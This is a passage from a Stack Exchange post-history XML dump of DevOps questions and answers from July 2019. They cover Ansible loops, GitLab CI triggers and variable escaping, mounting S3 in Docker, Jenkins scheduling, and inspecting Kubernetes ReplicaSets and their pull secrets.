FAILED! =&gt; {&quot;msg&quot;: &quot;Invalid data passed to 'loop', it requires a list, got this instead: del_users_reg. Hint: If you passed a list/dict of just one element, try adding wantlist=True to your lookup invocation or use q/query instead of lookup.&quot;}&#xD;&#xA;            to retry, use: --limit @/etc/ansible/osbasic.retry&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP **********************************************************************************************************************************************************************************************************************************&#xD;&#xA;    LGAUSUX10                  : ok=9    changed=1    unreachable=0    failed=1&#xD;&#xA;&#xD;&#xA;How could put a condition for delete users only if the result of first task is 0?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25261" PostHistoryTypeId="2" PostId="8629" RevisionGUID="e2e1f41a-619f-428c-82f7-bd065203c399" CreationDate="2019-07-16T16:12:28.490" UserId="16039" Text="Trying to run some task after merge request get accept (only on master branch).&#xD;&#xA;I am aware of `only: - master -merge_requests` config options, but want to specifically run pipeline only when code get merged in master.&#xD;&#xA;&#xD;&#xA;Please suggest a solution." ContentLicense="CC BY-SA 4.0" />
  <row Id="25262" PostHistoryTypeId="1" PostId="8629" RevisionGUID="e2e1f41a-619f-428c-82f7-bd065203c399" CreationDate="2019-07-16T16:12:28.490" UserId="16039" Text="Trigger cicd pipeline after merge request accept on master, Gitlab" ContentLicense="CC BY-SA 4.0" />
  <row Id="25263" PostHistoryTypeId="3" PostId="8629" RevisionGUID="e2e1f41a-619f-428c-82f7-bd065203c399" CreationDate="2019-07-16T16:12:28.490" UserId="16039" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25264" PostHistoryTypeId="2" PostId="8630" RevisionGUID="1b83f87b-e840-4ff2-99d8-60ddcddfd49a" CreationDate="2019-07-16T17:00:49.880" UserId="855" Text="So your problem is not actually related to GitLab, it's just bash parameter substitution.  &#xD;&#xA;And it happens early - during `PASS=${sensitive_var}`&#xD;&#xA;&#xD;&#xA;If you do in shell:&#xD;&#xA;```&#xD;&#xA;$ sensitive_var=aaa$bbb*%&#xD;&#xA;$ PASS=${sensitive_var}&#xD;&#xA;$ echo $PASS&#xD;&#xA;aaa*%&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;There's many things you can do.  &#xD;&#xA;&#xD;&#xA;For example you can simplify the whole thing as:&#xD;&#xA;```&#xD;&#xA;.deploy:&#xD;&#xA;  script:&#xD;&#xA;    - deploy.sh&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And in deployment script you can drop your `for` loop and just use ${sensitive_var}, for example:&#xD;&#xA;```&#xD;&#xA;echo ${sensitive_var}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="25265" PostHistoryTypeId="5" PostId="8630" RevisionGUID="6cd09ff4-6725-47e2-9538-5ab0515d8780" CreationDate="2019-07-16T17:08:24.983" UserId="855" Comment="added 115 characters in body" Text="So your problem is not actually related to GitLab, it's just bash parameter substitution.  &#xD;&#xA;And it happens early - during `PASS=${sensitive_var}`&#xD;&#xA;&#xD;&#xA;If you do in shell:&#xD;&#xA;```&#xD;&#xA;$ sensitive_var=aaa$bbb*%&#xD;&#xA;$ PASS=${sensitive_var}&#xD;&#xA;$ echo $PASS&#xD;&#xA;aaa*%&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;There's many things you can do.  &#xD;&#xA;You can enclose value in single quotes in Variables settings:&#xD;&#xA;```&#xD;&#xA;Key: sensitive_var&#xD;&#xA;Value: 'aaa$bbb*%'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And then you can also simplify the whole thing as:&#xD;&#xA;```&#xD;&#xA;.deploy:&#xD;&#xA;  script:&#xD;&#xA;    - deploy.sh&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And in deployment script you can drop your `for` loop and just use ${sensitive_var}, for example:&#xD;&#xA;```&#xD;&#xA;echo ${sensitive_var}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="25271" PostHistoryTypeId="5" PostId="8609" RevisionGUID="806bdf3a-501d-43ba-9161-ca3fa504484b" CreationDate="2019-07-16T22:28:31.530" UserId="16003" Comment="edited body" Text="I'm not able to loop a list in a dict and keep the key of the original dict.&#xD;&#xA;&#xD;&#xA;Bellow an example of my data&#xD;&#xA;&#xD;&#xA;    vars:&#xD;&#xA;     nginx_users:&#xD;&#xA;        'instance1':&#xD;&#xA;           roles:&#xD;&#xA;              - product&#xD;&#xA;              - nginx_instance&#xD;&#xA;           cert_source: internal-ca&#xD;&#xA;           URL: page-nginx.domain.internal&#xD;&#xA;           port: 8090&#xD;&#xA;           downtime: true&#xD;&#xA;           basic_auth:&#xD;&#xA;              - username1&#xD;&#xA;              - username2&#xD;&#xA;           ip_restriction:&#xD;&#xA;              - '0.0.0.0/0'&#xD;&#xA;        'instance2':&#xD;&#xA;           roles:&#xD;&#xA;              - product&#xD;&#xA;              - nginx_instance&#xD;&#xA;           cert_source: internal-ca&#xD;&#xA;           URL: page2-nginx.domain.internal&#xD;&#xA;           port: 8091&#xD;&#xA;           downtime: true&#xD;&#xA;           basic_auth:&#xD;&#xA;              - username1&#xD;&#xA;              - username2&#xD;&#xA;           ip_restriction:&#xD;&#xA;              - '0.0.0.0/0'&#xD;&#xA;        'instance3':&#xD;&#xA;           roles:&#xD;&#xA;              - product&#xD;&#xA;              - nginx_instance&#xD;&#xA;&#xD;&#xA;I need to loop it in a manner that It iterates like this&#xD;&#xA;&#xD;&#xA;    &quot;msg&quot;: [&#xD;&#xA;            &quot;instance1&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username1&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;instance1&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username2&quot;&#xD;&#xA;            ],&#xD;&#xA;           &quot;instance2&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username1&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;instance2&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username2&quot;&#xD;&#xA;            ]&#xD;&#xA;    ...&#xD;&#xA;        ]&#xD;&#xA;&#xD;&#xA;I am using&#xD;&#xA;&#xD;&#xA;&gt; when: item.value.basic_auth is defined&#xD;&#xA;&#xD;&#xA;In a loop which will filter out the items without the desired **value/item** and return only the &quot;items&quot; that I need to parse, like.&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    loop: &quot;{{ nginx_users | dict2items }}&quot;&#xD;&#xA;    when: item.value.basic_auth is defined&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;However from there I don't know how to loop those &quot;items&quot; to get the list of users on a way that it returns the single user per iteration and preserve the key.&#xD;&#xA;&#xD;&#xA;I know a work around would be to have use another variable instead of the key so I could just select it. but that wouldn't work for me in this escenario.&#xD;&#xA;&#xD;&#xA;I have tried using subelements and lookup but I don't seem to be able narrow down the exact combination also thought about using product too and try and traverse the data. But I wasn't able to use that either.&#xD;&#xA;&#xD;&#xA;After reading this:&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/pull/6370&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/pull/4982&#xD;&#xA;&#xD;&#xA;I'm starting to think I will have to use Jinja to be able to do this.&#xD;&#xA;&#xD;&#xA;This is as close as I have been able to get to what I'm trying to achieve&#xD;&#xA;&#xD;&#xA;    - name: loop&#xD;&#xA;      debug:&#xD;&#xA;        msg:&#xD;&#xA;        - &quot;{{ item.key }}&quot;&#xD;&#xA;        - &quot;{{ item.value.basic_auth }}&quot;&#xD;&#xA;      loop: &quot;{{ nginx_users | dict2items }}&quot;&#xD;&#xA;      when: item.value.basic_auth is defined&#xD;&#xA;    &#xD;&#xA;    - name: loop&#xD;&#xA;      debug:&#xD;&#xA;        msg:&#xD;&#xA;        - &quot;{{ item.1 }}&quot;&#xD;&#xA;      loop: &quot;{{ lookup('subelements', nginx_users, 'basic_auth', {'skip_missing': True}) }}&quot;&#xD;&#xA;&#xD;&#xA;which results on this:&#xD;&#xA;&#xD;&#xA;     TASK [loop]&#xD;&#xA;     ************************************************************************ skipping: [nginx-test-01.domain.internal] =&gt; (item={'key':&#xD;&#xA;     u'instance1', 'value': {u'roles': [u'product', u'nginx_instance']}})&#xD;&#xA;     ok: [nginx-test-01.domain.internal] =&gt; (item={'key': u'username2',&#xD;&#xA;     'value': {u'roles': [u'product', u'nginx_instance'], u'URL':&#xD;&#xA;     u'page-nginx.symplectic.internal', u'ip_restriction': [u'0.0.0.0/0'],&#xD;&#xA;     u'basic_auth': [u'username1', u'username2'], u'port': 8090,&#xD;&#xA;     u'zerodowntime': True, u'cert_source': u'internal-ca'}}) =&gt; {&#xD;&#xA;         &quot;msg&quot;: [&#xD;&#xA;             &quot;instance1&quot;,&#xD;&#xA;             [&#xD;&#xA;                 &quot;username1&quot;,&#xD;&#xA;                 &quot;username2&quot;&#xD;&#xA;             ]&#xD;&#xA;         ]}&#xD;&#xA;    &#xD;&#xA;     TASK [loop]&#xD;&#xA;     ************************************************************************ ok: [nginx-test-01.domain.internal] =&gt; (item=[{u'roles':&#xD;&#xA;     [u'product', u'nginx_instance'], u'URL':&#xD;&#xA;     u'page-nginx.domain.internal', u'ip_restriction': [u'0.0.0.0/0'],&#xD;&#xA;     u'port': 8090, u'downtime': True, u'cert_source':&#xD;&#xA;     u'internal-ca'}, u'username1']) =&gt; {&#xD;&#xA;         &quot;msg&quot;: [&#xD;&#xA;             &quot;username1&quot;&#xD;&#xA;         ] } ok: [nginx-test-01.domain.internal] =&gt; (item=[{u'roles': [u'product', u'nginx_instance'], u'URL':&#xD;&#xA;     u'page-nginx.symplectic.internal', u'ip_restriction': [u'0.0.0.0/0'],&#xD;&#xA;     u'port': 8091, u'downtime': True, u'cert_source':&#xD;&#xA;     u'internal-ca'}, u'username2']) =&gt; {&#xD;&#xA;         &quot;msg&quot;: [&#xD;&#xA;             &quot;username2&quot;&#xD;&#xA;         ] }&#xD;&#xA;&#xD;&#xA;Any thought/suggestions would be appreciated.&#xD;&#xA;&#xD;&#xA;UPDATE: I have learned that using **loop control inner with and outer variable** I can achieve this. But this requires me to use a separated .yml Is there any way to do this on the same .yml file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25272" PostHistoryTypeId="2" PostId="8632" RevisionGUID="19c669b3-a3e0-40a3-9b9f-e039fed7a213" CreationDate="2019-07-17T01:23:50.447" UserId="6579" Text="The default behavior of Jenkins is to use the same node over and over unless it's unavailable. If you use labels you can target resources.&#xD;&#xA;&#xD;&#xA;Take a look at plugins like [Least Load][1] and [Scoring Load Balancer][2] to help distribute the load. CloudBees also provides an [Even Scheduler][3] plugin as a commercial offering.&#xD;&#xA;&#xD;&#xA;Kubernetes (e.g. [Kubernetes Plugin][4]) to schedule ephemeral agents could also satisfy your distribution needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/leastload&#xD;&#xA;  [2]: https://plugins.jenkins.io/scoring-load-balancer&#xD;&#xA;  [3]: https://go.cloudbees.com/docs/plugins/even-scheduler/#even-scheduler&#xD;&#xA;  [4]: https://plugins.jenkins.io/kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="25274" PostHistoryTypeId="50" PostId="8348" RevisionGUID="4bf0afc4-47cd-42c0-888c-eb998a9516bd" CreationDate="2019-07-17T04:03:50.380" UserId="-1" />
  <row Id="25275" PostHistoryTypeId="2" PostId="8633" RevisionGUID="1447508c-fecf-42fe-914b-39ba546881f3" CreationDate="2019-07-17T05:28:13.997" UserId="15303" Text="I have a Java EE packaged as war file stored in an AWS s3 bucket. I will like to mount the .war file a point in my docker container. I have managed to do this on my local machine. Below an example of a JBoss wildfly deployments. How can I use s3 for this ?&#xD;&#xA;&#xD;&#xA;```docker container run -d —name Application -p 8080:8080 -v `pwd` /Application.war: /opt/jboss/wildfly/standalone/deployments/Application.war jboss/wildlfly ```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25276" PostHistoryTypeId="1" PostId="8633" RevisionGUID="1447508c-fecf-42fe-914b-39ba546881f3" CreationDate="2019-07-17T05:28:13.997" UserId="15303" Text="Is it possible to mount an s3 bucket as a point in a docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25277" PostHistoryTypeId="3" PostId="8633" RevisionGUID="1447508c-fecf-42fe-914b-39ba546881f3" CreationDate="2019-07-17T05:28:13.997" UserId="15303" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;deployment&gt;&lt;amazon-s3&gt;&lt;java&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25279" PostHistoryTypeId="5" PostId="8633" RevisionGUID="d818da02-fc4a-4560-8aef-7ede6942c48f" CreationDate="2019-07-17T05:33:53.403" UserId="15303" Comment="corrected spelling " Text="I have a Java EE packaged as war file stored in an ```AWS s3``` bucket. I will like to mount the folder containing the ```.war``` file as a point in my docker container. I have managed to do this on my local machine. Below is an example of a JBoss wildfly deployments. How can I use ```s3``` for this ?&#xD;&#xA;&#xD;&#xA;```docker container run -d —name Application -p 8080:8080 -v `pwd` /Application.war: /opt/jboss/wildfly/standalone/deployments/Application.war jboss/wildlfly ```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25280" PostHistoryTypeId="2" PostId="8635" RevisionGUID="cbbfe44e-f65c-4ab8-a7c0-172b2b9ead2d" CreationDate="2019-07-17T05:44:41.520" UserId="8800" Text="No you can't. &#xD;&#xA;&#xD;&#xA;S3 is an object storage, accessed over HTTP or REST for example. Just as you can't mount an HTTP address as a directory you can't mount a S3 bucket as a directory.&#xD;&#xA;&#xD;&#xA;Having said that there are some workarounds that expose S3 as a filesystem - e.g. 's3fs' project. How reliable and stable they are I don't know." ContentLicense="CC BY-SA 4.0" />
  <row Id="25289" PostHistoryTypeId="2" PostId="8638" RevisionGUID="58d806ea-9eb5-4524-ae24-7f524e4701c7" CreationDate="2019-07-17T06:43:55.617" UserId="7715" Text="Let's simplify the dictionary in the first task and loop subelements in second. The tasks below&#xD;&#xA;&#xD;&#xA;    - set_fact:&#xD;&#xA;        nginx_users_selected: &quot;{{ nginx_users_selected|&#xD;&#xA;                                  default({})|&#xD;&#xA;                                  combine({item.key: item.value})&#xD;&#xA;                                  }}&quot;&#xD;&#xA;      loop: &quot;{{ nginx_users|&#xD;&#xA;                dict2items|&#xD;&#xA;                json_query('[*].{key: key, value: value.basic_auth}')&#xD;&#xA;                }}&quot;&#xD;&#xA;      when: item.value&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;{{ item.0.key }} {{ item.1 }}&quot;&#xD;&#xA;      loop: &quot;{{ nginx_users_selected|&#xD;&#xA;                dict2items|&#xD;&#xA;                subelements('value')&#xD;&#xA;                }}&quot;&#xD;&#xA;&#xD;&#xA;give&#xD;&#xA;&#xD;&#xA;    &quot;msg&quot;: &quot;instance2 username1&quot;&#xD;&#xA;    &quot;msg&quot;: &quot;instance2 username2&quot;&#xD;&#xA;    &quot;msg&quot;: &quot;instance1 username1&quot;&#xD;&#xA;    &quot;msg&quot;: &quot;instance1 username2&quot;&#xD;&#xA;&#xD;&#xA;Then we can create the interesting structure&#xD;&#xA;&#xD;&#xA;    - set_fact:&#xD;&#xA;        my_list: &quot;{{ my_list|&#xD;&#xA;                     default([]) +&#xD;&#xA;                     [ item.0.key, [ item.1 ]]&#xD;&#xA;                     }}&quot;&#xD;&#xA;      loop: &quot;{{ nginx_users_selected|&#xD;&#xA;                dict2items|&#xD;&#xA;                subelements('value')&#xD;&#xA;                }}&quot;&#xD;&#xA;    - debug:&#xD;&#xA;        var: my_list&#xD;&#xA;&#xD;&#xA;give&#xD;&#xA;&#xD;&#xA;    &quot;my_list&quot;: [&#xD;&#xA;        &quot;instance2&quot;, &#xD;&#xA;        [&#xD;&#xA;            &quot;username1&quot;&#xD;&#xA;        ], &#xD;&#xA;        &quot;instance2&quot;, &#xD;&#xA;        [&#xD;&#xA;            &quot;username2&quot;&#xD;&#xA;        ], &#xD;&#xA;        &quot;instance1&quot;, &#xD;&#xA;        [&#xD;&#xA;            &quot;username1&quot;&#xD;&#xA;        ], &#xD;&#xA;        &quot;instance1&quot;, &#xD;&#xA;        [&#xD;&#xA;            &quot;username2&quot;&#xD;&#xA;        ]&#xD;&#xA;    ]&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25295" PostHistoryTypeId="2" PostId="8640" RevisionGUID="7d460b42-5b00-4de7-b627-7cac5a14943b" CreationDate="2019-07-17T12:12:54.507" UserId="12610" Text="&gt; my understanding is that I'll probably need to modify the images pulled to do this.&#xD;&#xA;&#xD;&#xA;Yes and no. It depends on how your `ReplicaSet` - specifically the associated [`Deployment`][1] - is configured. You can see the corresponding YAML configuration by doing &#xD;&#xA;&#xD;&#xA;    kubectl -n yournamespace get deployment yourappdeployment -o yaml&#xD;&#xA;    # or &#xD;&#xA;    kubectl -n yournamespace describe deployment yourappdeployment&#xD;&#xA;    &#xD;&#xA;Which will give you information about environment variables, images used, volumes, secrets, etc. &#xD;&#xA;&#xD;&#xA;&gt; I am trying to pull the images down locally so I can modify them&#xD;&#xA;&#xD;&#xA;Pulling an image down and modify it in-place won't be of much help, except if you run a container based on this image and use something like `docker commit` yo actually update the image. Even if you do that, the Kubernetes objects may override aspects defined in your image (such as environment variables)&#xD;&#xA;&#xD;&#xA;&gt; is there a way to see how the ReplicaSet is pulling the images down?&#xD;&#xA;&#xD;&#xA;Yes, first output the details of your ReplicaSet:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubectl -n yournamespace get replicaset yourreplicaset -o yaml&#xD;&#xA;&#xD;&#xA;kind: ReplicaSet&#xD;&#xA;spec:&#xD;&#xA;  ...&#xD;&#xA;  template:&#xD;&#xA;    ...&#xD;&#xA;    spec:&#xD;&#xA;      ...&#xD;&#xA;      containers:&#xD;&#xA;        ...&#xD;&#xA;      imagePullSecrets:&#xD;&#xA;      - name: some-secret-name&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`imagePullSecrets` is the secret which should contains the credentials to pull your images. You can retrieve the data with:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubectl -n yournamespace get secret some-secret-name -o yaml&#xD;&#xA;&#xD;&#xA;kind: Secret&#xD;&#xA;...&#xD;&#xA;data:&#xD;&#xA;  .dockerconfigjson: eyJh...VeryLongBase64String&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is Docker authentication data encoded in Base64. You must decode them:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;eyJh...VeryLongBase64String&quot; | base64 -d&#xD;&#xA;&#xD;&#xA;    {&quot;auths&quot;: {&quot;registry.yourcompany.com&quot;: {&quot;auth&quot;: &quot;AnotherBase64EncodedString&quot;}}}&#xD;&#xA;&#xD;&#xA;Decode the `auth` value and you'll have your Docker registry login/password&#xD;&#xA;&#xD;&#xA;    $ echo &quot;AnotherBase64EncodedString&quot; | base64 -d&#xD;&#xA;&#xD;&#xA;    username:password&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/workloads/controllers/deployment/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25296" PostHistoryTypeId="2" PostId="8641" RevisionGUID="57b13c85-a91e-4143-b9ff-109aea5f988b" CreationDate="2019-07-17T13:16:50.550" UserId="16059" Text="Actually, you can use Fuse (eluded to by the answer above).&#xD;&#xA;&#xD;&#xA;&gt; S3FS-FUSE: This is a free, open-source FUSE plugin and an easy-to-use&#xD;&#xA;&gt; utility which supports major Linux distributions &amp; MacOS. S3FS also&#xD;&#xA;&gt; takes care of caching files locally to improve performance. This&#xD;&#xA;&gt; plugin simply shows the Amazon S3 bucket as a drive on your system.&#xD;&#xA;&#xD;&#xA;https://tecadmin.net/mount-s3-bucket-centosrhel-ubuntu-using-s3fs/&#xD;&#xA;&#xD;&#xA;I haven't used it in AWS yet, though I'll be trying it soon.  There is a similar solution for Azure blob storage and it worked well, so I'm optimistic." ContentLicense="CC BY-SA 4.0" />
  <row Id="25298" PostHistoryTypeId="19" PostId="740" RevisionGUID="afda7cd9-8b16-438f-919e-bfd9e94f5537" CreationDate="2019-07-17T14:23:37.543" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="25299" PostHistoryTypeId="10" PostId="740" RevisionGUID="70de038f-243b-4e9d-855f-c50526dbd306" CreationDate="2019-07-17T14:24:01.797" UserId="-1" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[413],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;,&quot;BindingReason&quot;:{&quot;DuplicateApprovedByAsker&quot;:&quot;&quot;}}]}" />
  <row Id="25301" PostHistoryTypeId="5" PostId="8630" RevisionGUID="4885f883-09ff-4e2f-9591-0366781af00d" CreationDate="2019-07-17T17:00:34.193" UserId="855" Comment="added 9 characters in body" Text="Surprisingly indeed GitLab works weirdly with the env vars.  &#xD;&#xA;It evaluates them internally, though it shouldn't in my view.&#xD;&#xA;&#xD;&#xA;Value set as (in project Settings &gt; CI/CD): `'aaa$bbb*%'`  &#xD;&#xA;becomes `'aaa*%'`&#xD;&#xA;(with single quotes left!)&#xD;&#xA;&#xD;&#xA;Couple of of proof links:&#xD;&#xA;&#xD;&#xA;* https://gitlab.com/gitlab-org/gitlab-ce/issues/45173#note_101659865&#xD;&#xA;* https://gitlab.com/gitlab-org/gitlab-ce/issues/27436&#xD;&#xA;&#xD;&#xA;## Workarounds:&#xD;&#xA;&#xD;&#xA;1)&#xD;&#xA;You can duplicate dollar ($) sign, i.e.: `aaa$$bbb*%`  &#xD;&#xA;(as mentioned on the first link above).&#xD;&#xA;&#xD;&#xA;2)&#xD;&#xA;Use base64 to encode value before storing it, and decode in your script.&#xD;&#xA;&#xD;&#xA;Do this first:&#xD;&#xA;```&#xD;&#xA;$ echo 'aaa$bbb*%' | base64&#xD;&#xA;YWFhJGJiYiolCg==&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Store this value in project Variables.&#xD;&#xA;&#xD;&#xA;And then in your script decode it:&#xD;&#xA;```&#xD;&#xA;PASS=$(echo ${sensitive_var} | base64 -D)&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25302" PostHistoryTypeId="5" PostId="8630" RevisionGUID="01572a03-7965-42d9-a41e-9d28b4dc6b1d" CreationDate="2019-07-17T17:06:55.167" UserId="855" Comment="added 12 characters in body" Text="Surprisingly indeed GitLab works weirdly with the env vars.  &#xD;&#xA;It evaluates them internally, though it shouldn't in my view.&#xD;&#xA;&#xD;&#xA;Value set as (in project Settings &gt; CI/CD &gt; Variables): `'aaa$bbb*%'`  &#xD;&#xA;becomes `'aaa*%'`&#xD;&#xA;(with single quotes left!)&#xD;&#xA;&#xD;&#xA;Couple of of proof links:&#xD;&#xA;&#xD;&#xA;* https://gitlab.com/gitlab-org/gitlab-ce/issues/45173#note_101659865&#xD;&#xA;* https://gitlab.com/gitlab-org/gitlab-ce/issues/27436&#xD;&#xA;&#xD;&#xA;## Workarounds:&#xD;&#xA;&#xD;&#xA;1)&#xD;&#xA;You can duplicate dollar ($) sign, i.e.: `aaa$$bbb*%`  &#xD;&#xA;(as mentioned on the first link above).&#xD;&#xA;&#xD;&#xA;2)&#xD;&#xA;Use base64 to encode and decode the value.&#xD;&#xA;&#xD;&#xA;Do this first:&#xD;&#xA;```&#xD;&#xA;$ echo 'aaa$bbb*%' | base64&#xD;&#xA;YWFhJGJiYiolCg==&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then store this value in project Variables.&#xD;&#xA;&#xD;&#xA;And then in your script decode it:&#xD;&#xA;```&#xD;&#xA;PASS=$(echo ${sensitive_var} | base64 -D)&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25303" PostHistoryTypeId="2" PostId="8643" RevisionGUID="5efba57f-fef7-4e9e-8357-144d683078d8" CreationDate="2019-07-17T17:09:00.797" UserId="15792" Text="Is it possible to run Docker containers without being logged in as a user on Windows?  I have a few containers I am auto-deploying on a server, but I am currently stuck leaving a generic service account logged in so that the containers run and the docker daemon stays running.&#xD;&#xA;&#xD;&#xA;My current setup works, but I feel like there must be a better way to deploy/run than to always have an account logged in." ContentLicense="CC BY-SA 4.0" />
  <row Id="25304" PostHistoryTypeId="1" PostId="8643" RevisionGUID="5efba57f-fef7-4e9e-8357-144d683078d8" CreationDate="2019-07-17T17:09:00.797" UserId="15792" Text="Run Docker Containers without having a logged in User on Windows" ContentLicense="CC BY-SA 4.0" />
  <row Id="25305" PostHistoryTypeId="3" PostId="8643" RevisionGUID="5efba57f-fef7-4e9e-8357-144d683078d8" CreationDate="2019-07-17T17:09:00.797" UserId="15792" Text="&lt;docker&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25306" PostHistoryTypeId="2" PostId="8644" RevisionGUID="56545d16-b828-4216-addf-780518f2d077" CreationDate="2019-07-17T18:53:47.113" UserId="210" Text="https://docs.gitlab.com/ee/ci/yaml/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://gitlab.com/gitlab-org/gitlab-ce/issues/31296#note_34944784&#xD;&#xA;&#xD;&#xA;&gt;     integration-testing:&#xD;&#xA;&gt;       stage: test&#xD;&#xA;&gt;       only:&#xD;&#xA;&gt;         - master&#xD;&#xA;&gt;       script:&#xD;&#xA;&gt;         - ./gradlew clean build asciidoctor&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25307" PostHistoryTypeId="5" PostId="8626" RevisionGUID="64c9a6c3-de67-4b48-815a-ff1e69e9f960" CreationDate="2019-07-17T18:55:36.097" UserId="210" Comment="deleted 12 characters in body" Text="I would like to trigger a GitlabCI pipeline that builds a Packer image, whenever there is a new version of a binary released in Github.&#xD;&#xA;&#xD;&#xA;How could I do that via the ci yaml configuration?&#xD;&#xA;Should I somehow use the API for [pipeline triggering][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/triggers/README.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="25308" PostHistoryTypeId="5" PostId="8644" RevisionGUID="646e6edb-46d1-4163-95e3-32aa55553b9e" CreationDate="2019-07-17T19:03:55.523" UserId="210" Comment="added 244 characters in body" Text="https://docs.gitlab.com/ee/ci/yaml/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://gitlab.com/gitlab-org/gitlab-ce/issues/31296#note_34944784&#xD;&#xA;&#xD;&#xA;&gt;     integration-testing:&#xD;&#xA;&gt;       stage: test&#xD;&#xA;&gt;       only:&#xD;&#xA;&gt;         - master&#xD;&#xA;&gt;       script:&#xD;&#xA;&gt;         - ./gradlew clean build asciidoctor&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another option is to create a webhook&#xD;&#xA;&#xD;&#xA;https://gitlab.scm.webanywhere.co.uk/help/user/project/integrations/webhooks.md&#xD;&#xA;&#xD;&#xA;If the &quot;Merge request events&quot; is clicked one could trigger a pipeline if a Pull Request gets updated, created or merged." ContentLicense="CC BY-SA 4.0" />
  <row Id="25309" PostHistoryTypeId="5" PostId="8629" RevisionGUID="7cf188bd-db39-48c0-9a0e-a0505d5c3c28" CreationDate="2019-07-17T19:04:12.130" UserId="210" Comment="deleted 30 characters in body" Text="Trying to run some task after merge request get accept (only on master branch).&#xD;&#xA;I am aware of `only: - master -merge_requests` config options, but want to specifically run pipeline only when code get merged in master." ContentLicense="CC BY-SA 4.0" />
  <row Id="25310" PostHistoryTypeId="2" PostId="8645" RevisionGUID="3f9390ef-5ae6-4556-bdf0-533af6c76dd1" CreationDate="2019-07-17T19:12:35.993" UserId="210" Text="One could set up a webhook between github and gitlab, see settings&gt;integrations&gt;github in gitlab or trigger a pipeline in gitlab by configuring github.&#xD;&#xA;&#xD;&#xA;https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/github_integration.html&#xD;&#xA;&#xD;&#xA;If one does not have a github account and one cannot fork the github project, one could create a script that runs on daily basis and triggers the gitlab pipeline by calling the pipeline API if &quot;new release in github&quot; is applicable." ContentLicense="CC BY-SA 4.0" />
  <row Id="25311" PostHistoryTypeId="6" PostId="8643" RevisionGUID="e15d6696-0be0-4163-bd2d-99a34d17235a" CreationDate="2019-07-17T19:13:43.807" UserId="210" Comment="edited tags; edited tags" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25312" PostHistoryTypeId="2" PostId="8646" RevisionGUID="c44dda61-9712-41cf-84ce-34d29039b0e1" CreationDate="2019-07-17T20:22:19.993" UserId="210" Text="One should use protected variables in my opinion. One could configure them in the pipeline settings and subsequently call them inside the pipeline. Using base64 formats should be avoided as these could be easily decrypted.&#xD;&#xA;&#xD;&#xA;https://docs.gitlab.com/ee/ci/variables/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25314" PostHistoryTypeId="50" PostId="6005" RevisionGUID="c633f9b8-56cc-453e-a089-4f815a46be95" CreationDate="2019-07-18T03:02:15.413" UserId="-1" />
